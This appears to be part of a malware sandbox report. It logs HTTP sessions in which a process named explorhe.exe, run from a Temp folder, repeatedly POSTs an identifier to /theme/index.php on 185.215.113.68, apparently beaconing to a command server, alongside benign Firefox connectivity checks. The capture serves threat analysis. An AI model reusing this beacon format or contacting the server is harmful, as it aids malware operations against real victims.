53	192.168.2.6	50182	34.107.221.82	80	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:38.653911114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:38.783555984 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 10:22:16 GMT Age: 47602 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:39.137953997 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:39.272795916 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 10:22:16 GMT Age: 47603 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:49.272661924 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:59.502892971 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:09.700972080 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:19.911611080 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:30.097465992 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:40.305311918 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:50.506804943 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:00.791764975 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:11.005650997 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:21.297945976 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50184	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:38.861048937 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:39.094305038 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:39.104492903 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:39.343864918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50188	34.107.221.82	80	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:39.276810884 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:39.408124924 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 18:22:25 GMT Age: 18794 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50190	34.107.221.82	80	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:39.484620094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:39.614095926 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 18:22:25 GMT Age: 18794 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:49.636743069 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:59.802875042 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:10.002099991 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:20.193558931 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:30.427242041 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:40.702620029 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:50.893435001 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:01.195626974 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:11.396440983 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:21.694076061 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50193	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:39.731617928 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:39.964173079 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:39.969245911 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:40.206708908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50210	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:40.555078030 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:40.786040068 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:40.786935091 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:41.039633036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50213	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:41.382294893 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:41.619757891 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:41.621736050 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:41.864386082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50219	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:42.212419033 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:42.444786072 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:42.448681116 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:42.685720921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50224	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:43.056483030 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:43.297307968 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:43.302376986 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:43.857881069 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:44.103823900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50234	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:44.454550982 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:44.689300060 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:44.690502882 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:44.929881096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50241	185.215.113.68	80	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:45.280965090 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:45.514761925 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:45.515645981 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:45.753356934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50246	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:46.109411955 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:46.349577904 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:46.358923912 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:46.603456020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50255	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:46.949937105 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:47.185056925 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:47.443707943 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
